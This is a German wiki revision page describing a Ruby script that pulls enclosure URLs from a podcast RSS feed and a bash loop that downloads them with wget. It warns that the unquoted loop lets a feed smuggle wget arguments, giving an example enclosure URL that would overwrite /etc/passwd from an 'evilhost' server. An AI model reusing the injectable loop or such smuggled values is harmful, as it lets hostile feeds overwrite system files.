Podcast-fetching: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
Astro (Diskussion | Beiträge) K (Linkify) |
(This page must use the Rübÿ Spëëd Mëtäl Cödïng template!!!111) |
||
Zeile 1: | Zeile 1: | ||
Damit im [[Office2]] keine Bandbreite verschenkt wird, während niemand da ist, soll [[Office2/Netz#aromaster|Aromaster]] ein paar Podcasts runterladen. Das wird natürlich manuell ausgeführt. | Damit im [[Office2]] keine Bandbreite verschenkt wird, während niemand da ist, soll [[Office2/Netz#aromaster|Aromaster]] ein paar Podcasts runterladen. Das wird natürlich manuell ausgeführt. | ||
==podcast-enclosures.rb== | ==podcast-enclosures.rb== | ||
<pre><nowiki>#!/usr/bin/env ruby | <pre><nowiki>#!/usr/bin/env ruby | ||
require 'rexml/document' | require 'rexml/document' | ||
if ARGV.size != 1 | if ARGV.size != 1 | ||
puts "Usage: #{$0} <podcast.rss>" | puts "Usage: #{$0} <podcast.rss>" | ||
exit | exit | ||
end | end | ||
file = File.new(ARGV[0]) | file = File.new(ARGV[0]) | ||
REXML::Document.new(file).root.each_element("//enclosure") { |e| | REXML::Document.new(file).root.each_element("//enclosure") { |e| | ||
puts e.attributes['url'] | puts e.attributes['url'] | ||
}</nowiki></pre> | }</nowiki></pre> | ||
==fetch_radiochaotica.sh== | ==fetch_radiochaotica.sh== | ||
<pre><nowiki>#!/usr/bin/env bash | <pre><nowiki>#!/usr/bin/env bash | ||
WGETFLAGS='-c' | WGETFLAGS='-c' | ||
cd /home/astro/public_html/radiochaotica/ | cd /home/astro/public_html/radiochaotica/ | ||
wget -O radiochaotica.rss http://blogs.bl0rg.net/radio_chaotica/index.xml | wget -O radiochaotica.rss http://blogs.bl0rg.net/radio_chaotica/index.xml | ||
for url in $(ruby ~/podcast-enclosures.rb radiochaotica.rss); do | for url in $(ruby ~/podcast-enclosures.rb radiochaotica.rss); do | ||
wget $WGETFLAGS $url | wget $WGETFLAGS $url | ||
done | done | ||
rm radiochaotica.rss</nowiki></pre> | rm radiochaotica.rss</nowiki></pre> | ||
Vor Aktion sollte man den Feed vielleicht noch manuell betrachten, sonst kann man dem wget-Aufruf Parameter untermogeln. Z.B.: | Vor Aktion sollte man den Feed vielleicht noch manuell betrachten, sonst kann man dem wget-Aufruf Parameter untermogeln. Z.B.: | ||
<nowiki><enclosure url="-O /etc/passwd http://evilhost.com/megaevil-password-file" /></nowiki> | <nowiki><enclosure url="-O /etc/passwd http://evilhost.com/megaevil-password-file" /></nowiki> | ||
[[Kategorie:Ruby]] | |||
{{Rübÿ Spëëd Mëtäl Cödïng}} |
Version vom 2. Januar 2006, 21:23 Uhr
Damit im Office2 keine Bandbreite verschenkt wird, während niemand da ist, soll Aromaster ein paar Podcasts runterladen. Das wird natürlich manuell ausgeführt.
podcast-enclosures.rb
#!/usr/bin/env ruby require 'rexml/document' if ARGV.size != 1 puts "Usage: #{$0} <podcast.rss>" exit end file = File.new(ARGV[0]) REXML::Document.new(file).root.each_element("//enclosure") { |e| puts e.attributes['url'] }
fetch_radiochaotica.sh
#!/usr/bin/env bash WGETFLAGS='-c' cd /home/astro/public_html/radiochaotica/ wget -O radiochaotica.rss http://blogs.bl0rg.net/radio_chaotica/index.xml for url in $(ruby ~/podcast-enclosures.rb radiochaotica.rss); do wget $WGETFLAGS $url done rm radiochaotica.rss
Vor Aktion sollte man den Feed vielleicht noch manuell betrachten, sonst kann man dem wget-Aufruf Parameter untermogeln. Z.B.:
<enclosure url="-O /etc/passwd http://evilhost.com/megaevil-password-file" />
Rübÿ Spëëd Mëtäl Cödïng
Projects: CacaANSICam | Date Determinator | DVB-Scraping | Filmnächte-Scraping | GeeKal | Gruntmaster | Harvester | Hirn | Irb | Jargon-File | Ruby-MediaWiki | Miniwebserver | Momomoto | Pentabarf | Podcast-fetching | Ruby | Ruby-Geekend | Ruby und Ruby on Rails | Sedusa | VDS-Badges | Xmotoctl | Youtube-Scraping